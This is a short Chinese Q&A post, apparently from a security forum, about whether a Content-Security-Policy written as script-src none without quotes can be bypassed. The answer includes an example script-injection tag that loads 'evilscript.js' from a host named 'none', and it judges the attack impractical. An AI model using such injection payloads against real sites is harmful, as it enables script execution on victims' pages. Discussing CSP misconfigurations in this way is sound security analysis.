是否可以绕过格式错误的内容安全策略缺少引号？

Question

我发现一个网站有一个非常严格但格式错误的内容安全策略：

Content-Security-Policy: script-src none

实际上应该是

Content-Security-Policy: script-src 'none'

Firefox显示警告

内容安全策略:将http://none解释为主机名，而不是关键字。如果您打算使用关键字，请使用“none”(用单引号包装)。：将none解释为主机名，而不是关键字。如果您打算使用关键字，请使用“none”(用单引号包装)。

能否通过生成满足主机名要求的服务器来利用此漏洞？像这样的主机名地址会是什么样子？

Answer 1

我认为这意味着CSP将允许来自域none的脚本。因此，如果您能够注入以下标记，CSP将允许它运行：

<script src="http://none/evilscript.js">

而且，只要受害者的机器能够将none解析为DNS名称/ IP地址，您就在做生意了！

当然，最困难的部分是让公共DNS服务器或受害者网络中的本地DNS服务器接受DNS记录，以便将none映射到您控制的IP地址。在实践中，我怀疑你无法成功地完成攻击。